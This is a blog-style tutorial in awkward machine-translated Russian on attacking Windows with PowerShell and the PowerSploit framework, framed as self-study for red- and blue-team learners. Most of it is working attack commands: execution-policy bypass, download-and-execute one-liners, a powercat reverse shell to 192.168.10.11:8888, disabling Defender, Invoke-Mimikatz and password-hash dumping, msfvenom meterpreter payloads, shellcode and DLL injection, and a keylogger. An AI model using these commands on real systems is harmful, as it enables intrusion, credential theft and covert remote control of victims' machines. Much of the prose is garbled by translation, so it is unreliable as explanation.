[Сетевая безопасность] Сорок шесть Подробное объяснение атаки и защиты сценариев Powershell и PowerSploit.
[Сетевая безопасность] Сорок шесть Подробное объяснение атаки и защиты сценариев Powershell и PowerSploit.

В предыдущей статье были описаны основы Windows, включая системные каталоги, службы, порты, часто используемые DOS-команды хакеров реестра и пакетную PowerShell. В этой статье будут подробно описаны атаки сценариев PowerShell и PowerSploit, а также объединено использование уязвимостей MSF для реализации атак сценариев и защиты. Я надеюсь, что эта статья будет полезна для вас, и, что более важно, я надеюсь, что она поможет большему количеству новичков в нападении на безопасность и защите или противостоянии красно-синих. Пожалуйста, прочитайте ее и берегите ее. Эта статья ссылается на «Практическое руководство по тестированию на проникновение в систему веб-безопасности и защите» г-на Сюй Яня и блог Се Гунцзы и обобщает их на основе предыдущих блогов и опыта автора.

Будучи новичком в области сетевой безопасности, автор делится со всеми базовыми руководствами для самостоятельного обучения, в основном онлайн-заметками об инструментах безопасности и практических операциях. Надеюсь, вам это понравится. В то же время я надеюсь, что вы сможете работать и добиваться прогресса вместе со мной. В будущем я узнаю больше о сетевой безопасности и безопасности системы и поделюсь соответствующими экспериментами. Короче говоря, надеюсь, эта серия статей будет полезна блоггерам. Написание статей – дело непростое. Если мастерам это не нравится, прошу не комментировать. Спасибо! Если статья окажется для вас полезной, это будет самой большой мотивацией для моего творчества. Ставьте лайк, комментируйте или напишите мне в личное сообщение~ Давайте поработаем вместе.

Начиная с июля 2019 года, я попал в незнакомую мне сферу безопасности киберпространства. Очень больно и неудобно впервые входить в сферу безопасности. Слишком много вещей, которые нужно изучить, и охват слишком широк. Но, к счастью, я поделился 100 статьями «Самообучение сетевой безопасности». двигаться вперед с трудом. Я благодарен экспертам по безопасности и друзьям, которых я встретил, знал и с которыми весело провел время в этом году. Если текст не очень хорош или есть какие-либо недостатки, пожалуйста, простите меня!

Заявление: Я решительно выступаю против использования методов обучения для совершения преступлений. Все преступные деяния будут строго наказываться. Зеленые сети необходимо поддерживать вместе. Я также рекомендую всем понимать лежащие в их основе принципы и лучше их защищать. В настоящее время веб-сайт доступен, но позже его следует закрыть. Новички могут попробовать его, но не уничтожайте.

1. Подробное объяснение атаки Powershell.

В тестировании на проникновение Powershell является связующим звеном, которое нельзя игнорировать, и он все еще постоянно обновляется и развивается. Он обладает хорошей гибкостью и возможностью функционального управления системами Windows. Как только злоумышленник сможет запустить код на компьютере, файл сценария PowerShell (.ps1) будет загружен на диск для выполнения. Его можно будет запустить непосредственно в памяти, даже не записывая на диск для выполнения.

Эти характеристики делают PowerShell предпочтительным методом атаки для злоумышленников при получении и сохранении доступа к системе. Используя многие характеристики PowerShell, злоумышленники могут продолжать атаки, не будучи легко обнаруженными. К наиболее часто используемым инструментам атаки PowerShell относятся следующие.

  • PowerSploit — это широко используемая среда пост-эксплуатации PowerShell среди многих инструментов атак PowerShell. Она часто используется для обнаружения информации, повышения привилегий, кражи учетных данных, сохранения и других операций.
  • Nishang — специальный инструмент для тестирования на проникновение на базе PowerShell.,Интегрированный фреймворк, скрипт и различные полезные нагрузки,Включает загрузку и выполнение、кейлоггинг、DNS、Задержка ожидания команды Скрипт.
  • Empire — это троян удаленного управления на базе PowerShell, который может экспортировать и отслеживать учетные данные из базы данных учетных данных. Он часто используется для предоставления интегрированных модулей для раннего использования уязвимостей, обнаружения информации, кражи учетных данных и контроля устойчивости.
  • PowerCat PowerShell — NetCat,Известный как «швейцарский армейский нож» среди сетевых инструментов.,Он может читать и записывать данные в сети через TCP и UDP. Комбинируя с другими инструментами и перенаправляя,Читатели могут использовать его по-разному в Скрипте.

Обратитесь к предыдущей статье автора:

  • Базовое введение и обычное использование Powershell (1)
  • Базовое введение в Powershell и общее использование (2)

1.Введение в PowerShell

Windows PowerShell — это оболочка командной строки и среда сценариев, встроенная в Windows 7 и более поздние версии, позволяющая пользователям командной строки и авторам сценариев воспользоваться преимуществами .NET Framework. В нем представлено множество новых полезных концепций, которые еще больше расширяют получаемые вами знания и сценарии, которые вы создаете в средах командной строки Windows и Windows Script Host.

Версии PowerShell для каждой операционной системы Windows следующие:

Как только злоумышленник запустит код на компьютере, он загрузит файл сценария PowerShell (.ps1) на диск для выполнения. Ему даже не нужно записывать его на диск для выполнения. Он может запустить его прямо в памяти (без файла). атаку), или они могут думать о PowerShell как о расширении командной строки cmd.exe.

В 64-битных операционных системах Windows существуют две версии PowerShell: x64 и x86. Стратегии выполнения этих двух версий не влияют друг на друга и могут рассматриваться как две независимые программы. Файл конфигурации версии x64 находится по следующему пути. PowerShell состоит из двух компонентов приложения: стандартной текстовой консоли (powershell.exe) и графического интерфейса интегрированной командной среды (ISE: powershell_ise.exe).

  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0

Традиционный CMD поддерживает сценарии, но его масштабируемость не очень хороша, в то время как Powershell похож на оболочку Linux и имеет преимущества лучшей удаленной обработки, рабочего процесса, обновляемой справки, запланированных задач (запланированное задание), CIM и других преимуществ.

(1) Во-первых, как войти в Powershell? Один из способов — напрямую войти в Powershell, чтобы открыть его во время работы, а другой — войти в Powershell, чтобы открыть его в CMD.

Встроенный Powershell в разных операционных системах различен, например, win7 или win2008.

(2) Во-вторых, как проверить версию? Первая команда выглядит следующим образом:

Язык кода:javascript
копировать
Get-Host

Результат такой, как показано ниже:

Другая команда:

Язык кода:javascript
копировать
$psversiontable

В то же время Powershell может получить сведения об обслуживании, статусе и т. д. компьютера.

Язык кода:javascript
копировать
get-service

Результат отображения такой, как показано на рисунке ниже, с использованием метода именования глагол + существительное, который относительно ясен.

(3) Кратко суммируйте преимущества PowerShell. PowerShell требует поддержки среды .NET и поддерживает объекты .NET. Его читабельность и простота использования занимают первое место среди всех существующих оболочек. Эти возможности PowerShell привлекают злоумышленников, благодаря чему он постепенно становится очень популярным и мощным инструментом атак. Поскольку Powershell обладает следующими характеристиками, он широко используется в области безопасности и даже стал технологией, которую должен освоить каждый веб-безопасник. Общие преимущества включают в себя:

  • Устанавливается по умолчанию в операционных системах Windows 7 и выше.
  • Скрипт PowerShell может работать в памяти и не требует записи на диск.
  • Скрипт PowerShell можно скачать из другой системы и выполнить
  • Многие инструменты в настоящее время разрабатываются на основе PowerShell.
  • Многие программы обеспечения безопасности не могут обнаружить взаимодействия PowerShell.
  • cmd.exe обычно блокируется, но PowerShell — нет.
  • Может использоваться для управления активным каталогом
  • Поддержка объектно-ориентированного подхода и взаимодействие с платформой .net.
  • Сильная совместимость, вызов друг друга с помощью cmd и vbs.
  • Хорошая масштабируемость. использоваться для управления активным каталогом, продуктами виртуальных машин и другими платформами

2.Основные понятия PowerShell.

(1) файл PS1 Сценарий PowerShell на самом деле представляет собой простой текстовый файл. Этот файл содержит ряд команд PowerShell. Каждая команда отображается как независимая строка. Чтобы текстовый файл считался сценарием PowerShell, его имя должно иметь расширение .PS1. . имя.

(2) стратегия исполнения Чтобы предотвратить выполнение вредоносного скрипта, в PowerShell есть стратегия по умолчанию выполняет эту стратегию Форма устанавливается первой. Когда скрипт PowerShell не может быть выполнен, вы можете использовать следующее Get-ExecutionPolicy Команда для определения текущей стратегии исполнение. Он включает в себя 4 стратегии:

  • Ограничено: скрипт не может быть запущен (настройка по умолчанию)
  • RemoteSigned: локально созданный Скрипт может работать, но Скрипт, загруженный из Интернета, не может работать (кроме случаев с цифровой подписью сертификата).
  • AllSigned: работает только в том случае, если Скрипт подписан доверенным издателем.
  • Неограниченно: разрешить запуск всех сценариев.

Мы также можем настроить стратегию работы PowerShell, используя приведенную ниже команду командлета.

  • Set-ExecutionPolicy [имя политики] имя политики

(3) Запустить сценарий Чтобы запустить сценарий PowerShell, необходимо ввести полный путь и имя файла. Например, если вы хотите запустить сценарий с именем a.ps1, введите C:\Scripts\a.ps1. Самым большим исключением является то, что если файл сценария PowerShell находится в системном каталоге, вы можете запустить имя файла сценария, введя непосредственно в командной строке, например .\a.ps1 с ".\" перед это то же самое, что добавить ".\" перед .\a.ps1. Метод запуска сценария Shell в Linux тот же.

(4) Трубопровод Функция конвейера PowerShell заключается в использовании выходных данных одной команды в качестве входных данных для другой команды, и эти две команды соединяются символом вертикальной черты (|). В качестве примера, чтобы увидеть, как работают каналы, предположим, что вы остановили все запущенные в данный момент программы, имена которых начинаются с символа «p». Команда выглядит следующим образом:

  • get-process p* | stop-process

Каналы — не новая вещь. В предыдущей консоли Cmd также были команды перенаправления, такие как Dir | More, которые могут отображать результаты на разделенном экране. Традиционные конвейеры Cmd основаны на тексте, а конвейеры Powershell — на объектной основе. Например:

Язык кода:javascript
копировать
linux:ls
cmd:dir

Если вы хотите получить только значения имени и режима, используйте следующие инструкции.

Язык кода:javascript
копировать
ls | format-table name, mode

3. Общие команды PowerShell и их выполнение в обход разрешений

В PowerShell команды, подобные «cmd», называются «командлетами», и соглашения об их именах вполне согласованы. Все они принимают форму «глагол-существительное», например «Новый-элемент». Часть глагола обычно выглядит как «Добавить», «Новый», «Новый». Именованные псевдонимы Get, Remove, Set и т. д. обычно совместимы с командами Windows и оболочкой Linux. Например, команда Get-ChildItem может использовать dir или ls, а команды PowerShell не чувствительны к регистру.

Ниже в качестве примера используются файловые операции, объясняющие базовое использование команд PowerShell.

  • Создайте новый каталог: New-Item whitecellclub-ItemType Directory.
  • Создайте новый файл: New-Item Light.txt-ItemType File.
  • Удалить каталог: Remove-Item whitecellclub
  • Отображение содержимого файла: Get-Content test.txt
  • Установите содержимое файла: Set-Content test.txt-Value «hello, world!»
  • Добавлен контент: Add-Contentlight.txt-Значение «я люблю тебя»
  • Очистить содержимое: Clear-Content test.txt.

Приведите простой пример:

Язык кода:javascript
копировать
New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"  

Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt 

Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt

Аналогичным образом мы также можем ввести «PowerShell» через приглашение терминала Windows, чтобы войти в командную строку PowerShell, и ввести команду справки, чтобы отобразить меню справки.

После тестирования скрипт PowerShell, загруженный в процессе выполнения окна cmd, может быть запущен напрямую независимо от текущей политики. Если вы хотите запустить программу-скрипт в окне PowerShell, у вас должны быть права администратора, чтобы изменить политику «Ограниченно» на «Неограниченно». Поэтому при проникновении вам необходимо использовать некоторые методы обхода политики для выполнения сценария.

(1) Загрузите удаленный сценарий PowerShell, чтобы обойти выполнение разрешений. Вызовите функцию DownloadString, чтобы загрузить удаленный файл сценария PS1.

Язык кода:javascript
копировать
//окно cmd выполняет следующие команды
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

На рисунке ниже цитируется изображение г-на Се. Для запуска переключитесь в окно CMD.

(2) Обход выполнения локального разрешения Загрузите xxx.ps1 на целевой сервер и выполните сценарий локально на целевом сервере в среде CMD, как показано ниже.

Язык кода:javascript
копировать
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1

powershell -exec bypass  .\test.ps1

(3) Сценарий выполнения локального скрытого обхода разрешений

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1

Например:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) Используйте IEX для загрузки удаленных сценариев PS1, чтобы обойти выполнение разрешений.

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

Параметры вышеуказанной команды объяснены ниже, как показано ниже.

  • ExecutionPolicy Bypass: Обход политики безопасности выполнения.,Этот параметр очень важен,по умолчанию,Политика безопасности PowerShell предусматривает, что PowerShell не разрешено запускать команды и документы. При установке этого параметра.,Любое правило защиты безопасности можно обойти. в тестировании на проникновение,Этот параметр следует использовать практически каждый раз при запуске скрипта PowerShell.
  • WindowStyle Hidden: скрыть окно.
  • NoLogo: запуск PowerShell без отображения логотипа авторских прав.
  • NonInteractive (-NonI): неинтерактивный режим, PowerShell не предоставляет интерактивные подсказки для пользователей.
  • NoProfile (-NoP): консоль PowerShell не загружает профиль текущего пользователя.
  • Noexit: не выходить из оболочки после выполнения.,Это использованиекейлоггингждать Скрипточень важно

Опять же, сценарии PowerShell по умолчанию не могут выполняться напрямую. Вы можете использовать описанный выше метод, чтобы обойти политику безопасности и запустить сценарий PowerShell, как показано на рисунке ниже.

Язык кода:javascript
копировать
PowerShell.exe -ExecutionPolicy Bypass -File .\test.ps1 

путем увеличения -ExecutionPolicy Bypass Реализуйте политику обхода безопасности и запустите выходные результаты.

Локально мы видим файл test.ps1.


4. PowerShell удаленно загружает файлы и выполняет их.

В этой части я узнал из резюме г-на Се Гунцзы. Конечно, во второй части я подробно представил использование сочетания с проникновением.

Файл загрузки окна CMD В каталог диска С можно загрузить только права администратора, а на диск С обычные права загрузить нельзя.

Язык кода:javascript
копировать
//Скачиваем файл в указанную директорию
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

//Загружаем файл в текущий каталог
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

Окно CMD загружает файл и запускает exe.

Язык кода:javascript
копировать
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

Окно CMD загружает файлы и выполняет сценарии PS1

Язык кода:javascript
копировать
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

Удаленная загрузка powercat.ps1Скрипт,И запустить с параметрами,Эта команда может обойти стратегию исполнения PowerShell.

Язык кода:javascript
копировать
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

5. Общие команды для тестирования на проникновение PowerShell

Отключите брандмауэр Защитника, поставляемый с Windows (требуются права администратора).

Язык кода:javascript
копировать
powershell Set-MpPreference -disablerealtimeMonitoring $true

Выполните в окне CMD, чтобы загрузить test.exe с удаленного хоста на локальный.

Язык кода:javascript
копировать
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

Используйте PowerShell для восстановления оболочки NC в окне CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

Используйте PowerShell, чтобы переместить CobaltStrike Shell под окно CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))  

//Выполнить в окне PowerShell
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))

Используйте PowerShell для повторного подключения оболочки MSF в окне CMD.

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

Удаленно загрузите сценарий PowerShell для чтения паролей в виде открытого текста (требуются права администратора).

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

Удаленно загрузите сценарий PowerShell, чтобы прочитать хеш-значение пароля в виде обычного текста (требуются права администратора).

Язык кода:javascript
копировать
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

6. Файл импорта PowerShell.

В крупных проектах PowerShell,обычно включают.ps1、.psd1и.psm1суффиксдокумент.напримерPowersploit。

  • Файл .ps1: текст скрипта PowerShell.
  • Файл .psd1: файл введения модуля.
  • Файл .psm1: файл модуля

Среди них файлы psm1 и psd1 можно импортировать с помощью следующих команд.

Язык кода:javascript
копировать
 Import-Module .\PowerSploit.psm1
 Import-Module .\PowerSploit.psd1

Команда ввода модуля импорта:

  • Get-Command -Module PowerSploit

Для файлов .ps1 вы можете использовать Import-Module или .

Язык кода:javascript
копировать
Import-Module .\Get-Information.ps1
. .\Get-Information.ps1

2. Подробное объяснение атаки PowerSploit.

PowerSploit — это программное обеспечение для пост-эксплуатации, основанное на PowerShell. Оно содержит множество сценариев атак PowerShell, которые в основном используются для сбора информации, повышения привилегий и поддержания привилегий во время проникновения. В функции каждого модуля PowerSploit входят:

  • AntivirusBypass: узнайте о убийственных характеристиках антивирусного программного обеспечения.
  • CodeExecution: выполнить код на целевом хосте.
  • Эксфильтрация: инструмент сбора информации на целевом хосте.
  • Mayhem: Синий экран и другие деструктивные скрипты
  • Persistence: Backdoor Скрипт (Контроль постоянства)
  • Разведка: используйте целевой хост в качестве трамплина для проведения разведки информации в интрасети.
  • ScriptModification: создание или изменение сценариев на целевом хосте.

Его адрес GitHub:

  • https://github.com/PowerShellMafia/PowerSploit

1. Установка PowerSploit

Первый шаг — загрузить ресурсы PowerSploit. Мы можем использовать команду git для загрузки программы в Kali.

  • git clone https://github.com/PowerShellMafia/PowerSploit

Если ошибка загрузки — «git Fatal: невозможно получить доступ к проверке сертификата сервера, не удалось. CAfile: none CRLfile: none», читатели могут загрузить его непосредственно с github и переместить в указанный Kali каталог.

Второй шаг — разархивировать файл.

  • unzip PowerSploit-master.zip

Распакованный файл выглядит следующим образом:

Третий шаг — переместить распакованную папку в каталог /var/www/html, а затем собрать простой сервер.

  • mv PowerSploit-master /var/www/html

Четвертый шаг — запуск сервера Apache.

  • service apache2 start

Доступ к нему с использованием IP-адреса в локальном браузере подтверждает результаты настроек нашего сервера Apache.


2. Оболочка отскока MSF

Далее используем в Кали reverse_httpsмодуль подпрыгиваетshell。

Первый шаг — открыть msfconsole.

  • msfconsole

Второй шаг — настроить модуль windows/x64/meterpreter/reverse_https в msf для восстановления и включения мониторинга.

  • используйте эксплойт/мульти/обработчик, чтобы использовать модуль прослушивания
  • установить полезную нагрузку windows/x64/meterpreter/reverse_tcp — полезная нагрузка
  • set LHOST 192.168.44.138 устанавливает локальный IP-адрес
  • set RPORT 4444 устанавливает локальный порт 4444
  • показать параметры для просмотра информации о конфигурации мониторинга

Тогда операция находится в состоянии прослушивания.

  • run
  • exploit

3.Код выполнения Invoke-Shellcode

Сценарий Invoke-Shellcode в модуле CodeExecution часто используется для вставки Shellcode в указанный идентификатор процесса или локальный PowerShell. Ниже представлены два распространенных метода повторного подключения Meterpreter Shell.

Первый метод: напрямую выполнить шеллкод для восстановления оболочки Meterpreter.

Первым шагом является использование MSF для мониторинга с использованием предыдущих шагов.

Язык кода:javascript
копировать
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://192.168.59.128:4444

Второй шаг — использовать команду msfvenom для создания трояна-скрипта powershell.

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138 LPORT=4444 -f powershell -o /var/www/test

Сгенерированный скрипт находится в каталоге /var/www/html, а его код показан ниже:

Третий шаг — ввести следующую команду в Powershell целевого компьютера, чтобы загрузить скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)

Распространенные решения ошибок Первая ошибка – это сообщение «Заблокировано антивирусным ПО».

На этом этапе нам нужно настроить проблему перехвата брандмауэра и разрешить запуск PowerShell.

Если он все же перехватывается, для запуска PowerSploit могут потребоваться права администратора. Способ настройки следующий:

Четвертый шаг — ввести следующую команду для загрузки трояна.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)

Шаг 5: Запустите следующую команду. -Force означает прямое выполнение без запроса.

  • Invoke-Shellcode -Shellcode ($buf) -Force

Само собой разумеется, что после завершения этого шага, когда вы вернетесь к интерфейсу мониторинга MSF, вы обнаружите, что восстановление прошло успешно. Однако мой Powershell сообщит об ошибке или сбое после запуска команды. является экологической проблемой.

Правильный результат бега показан на рисунке ниже:


Второй метод: укажите процесс внедрения шеллкода для восстановления Meterpreter Shell.

Первым шагом является также ввод команды в Powershell целевой машины для загрузки сценария и трояна.

Язык кода:javascript
копировать
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")

На втором этапе введите команду Get-Process или команду ps, чтобы просмотреть текущий процесс.

  • Get-Process

Третий шаг — ввести команду для создания нового процесса и сделать его скрытым.

  • Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
  • Get-Process

Четвертый шаг — ввести команду Get-Process для просмотра процесса. Вы можете видеть, что существует дополнительный процесс с именем «Блокнот» с идентификатором 2580.

Пятый шаг — использование сценария Invoke-Shellcode для внедрения процесса.

  • Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force

4.Invoke-Portscan порт сканирования

nvoke-Portscan — это скрипт модуля Recon. Он в основном используется для сканирования портов и относительно прост в использовании. Как его использовать, заключается в следующем.

Первый шаг — загрузить скрипт, а затем отсканировать его.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)

На втором этапе используйте следующую команду для сканирования порта.

  • Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”

Было обнаружено, что 1 открыл порты 445 и 3389, а 138 открыл порт 80.


5.Invoke-Mimikatz

Invoke-Mimikatz — это скрипт модуля «Эксфильтрация».

Первый шаг — скачать скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)

Второй шаг — выполнить команду для использования атаки Mimikatz, инструмента для захвата паролей.

  • Invoke-Mimikatz -DumpCreds
Язык кода:javascript
копировать
PS C:\> Invoke-Mimikatz -DumpCreds

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)  #reporterror

mimikatz(powershell) # exit
Bye!

PS C:\>

6.Invoke-DllInjection

Затем используйте другой сценарий Invoke-DllInjection в модуле CodeExecution, который представляет собой сценарий внедрения DLL.

Первым шагом является настройка мониторинга в MSF и использование следующей команды для создания трояна с отскоком dll в Kali.

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138 LPORT=4444 -f dll -o /var/www/html/test.dll

Сгенерированный файл внедрения test.dll показан ниже:

Второй шаг — загрузить сценарий на целевой компьютер и ввести следующую команду.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)

Третий шаг — запустить новый процесс и использовать сценарий Invoke-Shellcode для внедрения процесса.

  • Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
  • Get-Process
  • get-process notepad

Четвертый шаг — внедрить следующую команду.

  • Invoke-DllInjection -ProcessID 2580 -Dll c:\test.dll

Однако восстановление MSF так и не удалось.


7.Get-Keystrokes

Get-Keystrokes — это скрипт в модуле «Эксфильтрация». Он используется для ведения кейлогинга. Он имеет очень мощную функцию. Он не только записывает ввод с клавиатуры, но также может записывать щелчки мыши и подробное время. Его можно запускать непосредственно в фоновом режиме. настоящий бой. Как его использовать, заключается в следующем.

Первый шаг — скачать скрипт.

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1”)

Вторым шагом является команда на включение кейлоггера.

  • Get-Keystrokes -Logpath c:\test1.txt

Третий шаг — сохранить соответствующую информацию.


8. Классификация и функции сценариев.

AntivirusBypass (обход антивируса)

  • Найти-AVSignature Найдена сигнатура антивируса

CodeExecution (выполнение кода)

  • Invoke-DllInjection.ps1 Скрипт внедрения DLL Обратите внимание, что архитектура dll должна соответствовать целевому процессу.,При этом у вас должно быть соответствующее Разрешения.
  • Invoke-ReflectivePEInjection.ps1 Светоотражающая инъекция Окна PE-файлы (DLL/EXE), рефлексивно загружаемые в процесс PowerShell, или рефлексивно внедряющие DLL в удаленный процесс.
  • Вызвать-Shellcode.ps1 Вставьте шеллкод в выбранный вами идентификатор процесса или в локальный PowerShell.
  • Вызвать-WmiCommand.ps1 Используйте wmi для выполнения команды на целевом хосте

Эксфильтрация (сбор информации): в основном собирает информацию о целевом хосте.

  • Out-Minidump.ps1 Создайте небольшую базу данных процессов, занимающую всю память.
  • Get-VaultCredential.ps1 Отображать объекты учетных данных с логотипом Windows, включая веб-учетные данные в виде открытого текста.
  • Get-Keystrokes.ps1 Записывайте нажатия клавиш, время и активные окна
  • Get-GPPPassword.ps1 Получайте пароли в виде открытого текста и другую информацию для учетных записей, переданных через настройки групповой политики.
  • Get-GPPAutologon.ps1 При нажатии через настройки групповой политики извлеките имя пользователя и пароль для автоматического входа из файла реестра.xml.
  • Get-TimedScreenshot.ps1 Это функция, которая делает снимки экрана через определенные промежутки времени и сохраняет их в папке.
  • Вызвать-Mimikatz.ps1 Посмотреть пароль хоста
  • Invoke-NinjaCopy.ps1 Файлы из секционированных томов NTFS путем чтения необработанного тома и анализа структуры NTFS.
  • Invoke-CredentialInjection.ps1 Создайте вход с использованием открытых текстовых учетных данных, не вызывая подозрительного события с кодом 4648 (вход с явными учетными данными).
  • Invoke-TokenManipulation.ps1 Список доступных токенов входа. Создайте токен входа в процесс вместе с другими пользователями и олицетворяйте токен входа в текущий поток.
  • Get-MicrophoneAudio.ps1 Запись звука через микрофон
  • VolumeShadowCopyTools.ps1

Recon (информационная разведка): эта папка в основном используется для разведки узла интрасети с использованием целевого узла в качестве трамплина.

  • Вызвать-Portscan.ps1 сканирование портов
  • Get-HttpStatus.ps1 Возвращает код состояния HTTP и полный URL-адрес указанного пути, а также файл словаря.
  • Invoke-ReverseDnsLookup.ps1 Сканировать диапазоны IP-адресов на наличие записей DNS PTR.
  • PowerView.ps1 PowerView — это набор функций, которые выполняют перечисление и эксплуатацию сетей и доменов Windows.
  • Get-ComputerDetails Получить данные для входа

ScriptModification (модификация скрипта)

  • Out-EncodedCommand.ps1 Кодировать Скрипт или блок кода,и сгенерируйте вывод командной строки для скрипта полезной нагрузки PowerShell.
  • Out-EncryptedScript.ps1 Зашифрованный текстовый файл/Скрипт
  • Out-CompressedDll.ps1 Сжатие, кодирование Base-64 и вывод сгенерированного кода для загрузки управляемой DLL в память.
  • Remove-Comments.ps1 Удалить комментарии и лишние пробелы из Скрипта

Постоянство (сохранение разрешений)

  • New-UserPersistenceOption Настройте параметры сохранения на уровне пользователя для функции добавления сохранения.
  • New-ElevatedPersistenceOption Настройте повышенные параметры сохранения для функции добавления сохранения.
  • Добавить-постоянство Добавить функциональность персистентности в Скрипт
  • Установка-SSP Установите dll поставщика поддержки безопасности (ssp)
  • Get-SecurityPackages

Privesc (повышение привилегий)

  • PowerUP Информационный центр для общих проверок повышения привилегий, а также некоторых векторов вооружения
  • Get-System

Mayhem

  • Set-MasterBootRecord Выбранные сообщения перезаписывают основную загрузочную запись.
  • Set-CriticalProcess Сделать синий экран системы при выходе из PowerShell

3. Резюме

На этом введение этой статьи закончено. Надеюсь, она будет вам полезна. Продолжайте в том же духе~ Если есть какие-либо недостатки, пожалуйста, простите меня.

  • 1. Подробное объяснение атаки Powershell. 1.Введение в PowerShell 2.Основные понятия PowerShell. 3. Общие команды PowerShell и их выполнение в обход разрешений 4. PowerShell удаленно загружает файлы и выполняет их. 5. Общие команды для тестирования на проникновение PowerShell 6. Файл импорта PowerShell.
  • 2. Подробное объяснение атаки PowerSploit. 1. Установка PowerSploit 2. Оболочка отскока MSF 3.Код выполнения Invoke-Shellcode 4.Invoke-Portscan порт сканирования 5.Invoke-Mimikatz 6.Invoke-DllInjection 7.Get-Keystrokes 8. Классификация и функции сценариев.
  • 3. Резюме

Рай находится в добром здравии, и джентльмен стремится постоянно стремиться к самосовершенствованию. Местность кунь, и господин несет вещи с добротой.

Искренне благодарю вас за внимание к общедоступному аккаунту «Na Zhang Home». Я также надеюсь, что мои статьи смогут способствовать вашему росту и продолжать двигаться вперед по пути технологий. Если статья окажется для вас полезной и поучительной, для меня это лучшая награда. Пожалуйста, прочтите ее и дорожите ею! Еще раз спасибо за внимание и помогите продвигать «Дом На Чжан». Я здесь новичок, поэтому дайте мне несколько советов.

(Автор: Eastmount, 21 марта 2024 г., «Ночь на Земле»)

